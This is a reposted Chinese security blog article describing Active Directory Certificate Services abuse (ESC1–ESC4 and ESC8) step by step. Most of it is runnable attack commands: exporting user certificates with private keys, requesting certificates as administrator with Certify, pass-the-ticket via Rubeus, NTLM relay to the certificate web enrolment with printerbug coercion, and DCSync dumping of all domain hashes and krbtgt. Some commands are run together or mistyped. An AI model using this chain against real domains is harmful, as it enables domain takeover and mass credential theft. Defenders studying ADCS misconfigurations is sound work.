windows域之证书攻击手段
2021-12-09 17:30:00 Author: mp.weixin.qq.com(查看原文) 阅读量:53 收藏

原创稿件征集
邮箱:[email protected]
QQ:3200599554
黑客极客技术、信息安全热点
安全研究分析

等安全相关的技术文章
稿件通过并发布还能收获
200-800元不等的稿酬

参考链接:https://xz.aliyun.com/t/10064
工具链接
https://github.com/GhostPack/Certify
证书服务发布的部分证书可用于kerberos认证,并且可以再返回的PAC中获取NTMLhash。
能进行认证的证书
1、客户端认证
2、PKINIT 客户端身份验证
3、智能卡登录
4、任何目的
5、子CA

其中ECS1和ECS8是比较常用的。中间的就记录一下。

搜索证书

certmgr.msc 图形化界面certutil -user -store My //查看个人证书certutil -user -store My f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.cer //导出证书certutil -user -exportPFX f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.pfx //导出证书包含公私钥


利用导出的证书窃取凭借

1.查看用户的证书 certutil -user -store My2.导出用户证书,包含公私钥3.本地添加证书,配代理访问(kekeo校验的时候看到会对域控请求,所以需要配dns代理一起,这里为了方便就直接内网机做了)tgt::pac /subject:证书用户 /castore:current_user /domain:域控

总结一下,原因是证书中包含了用户的ntml信息,所以我们可以导出这些ntml信息(中间涉及一些证书不可导出的参考参考链接mimikatz导出)

ADCS ESC1

允许低权限用户使用任意SAN请求证书,从而允许低权限用户通过kerberos或schannel作为域中任何主体进行身份验证,白话文就是实现伪造身份允许这些设置的已发布证书模板,攻击者可以作为环境中的任何人请求证书,使用该证书为用户获取TGT最终实现低权限用户拥有域控权限

Certify.exe request /ca:yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1 /template:LDAPS /altname:administrator//导出证书openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx生成证书

注入证书Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.203.2 /ptt

ADCS ESC2

和ECS1类似,主要是他的条件更为宽松导致的我们可以使用带有任何目的的EKU功能证书,进行客户端、服务端的身份验证,也可以使用无EKUs的证书来进行任何目的,或签署新的证书因此使用从属CA(比跟CA低一级的CA)证书,攻击者能够指定新证书中的任意EKUs或字段

利用和ECS1一样,就不继续写命令了

ADCS ESC3

证书请求代理EKU允许委托人代表其他用户申请证书,对于任何注册此模板的用户,生成的证书可用于代表任何用户共同签署部署请求。代表其他用户来申请证书,和伪造类似

根据参考文章来看,工具没有跑出来,所以利用一下命令看yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1查看 Application Policies                  : 证书申请代理pkiextendedkeyusage                   : 客户端身份验证, 证书申请代理是否具有

这里命令大同小异,记录一下就行,2019复现出错了。Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3_1 /onbehalfof:TEST\administrator /enrollcert:3.pfxopenssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfxRubeus.exe asktgt /user:TEST\administrator /certificate:4.pfx

ADCS ESC4

https://www.cnblogs.com/sakura521/p/15489865.html主要还是配置错误导致写权限可以写造成的。

ADCS ESC8

证书中继 ADCS Relay攻击流程1.通过ntlm_relay,我们获得一个以机器A用户认证的证书2.我们通过Rubeus asktgt功能用这个证书向AD发起kerberos认证3.我们获取到TGT并请求目标机器的TGS,获取权限参考:https://www.cnblogs.com/marksec/p/15600759.html环境配置也见参考链接

攻击利用

(1)certutil -config - -ping 获取证书服务器的ipcertutil  -ca(2)判断是否支持NTML方式curl  http://192.168.203.3/certsrv/ -I(3)中继利用python3 ntlmrelayx.py  -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs 开启中继监听python printerbug.py domain/user:[email protected] 192.168.237.131打印机一:keko导出(注意参考链接给的代码是有问题的)kekeo:base64 /input:ontgt::ask /pfx:xxx /user:DC01$  /domain: /pttuser需要为我们获取证书的那个机器用户

看一下我全部的截图+命令privilege::debugkerberos::purge//清楚票据 方便对比base64 /input:ontgt::ask /pfx:xxx /user:DC01$  /domain: /ptt 能够看到这里注入了一张kirtgt的票据,就可以做金银票了。dumphash

Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt

dumphashlsadump::dcsync /all /csv /domain:e0mlja.comlsadump::dcsync /user:krbtgt /csv

“阅读原文”体验免费靶场!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652883687&idx=1&sn=deac2afd64bbaf2658a7e86d466a9a34&chksm=bd59b62a8a2e3f3c941a005b31f2d55c336dd887fb46d6d9b5c60bc84286b6ad44b2cc4b22cb#rd
如有侵权请联系:admin#unsafe.sh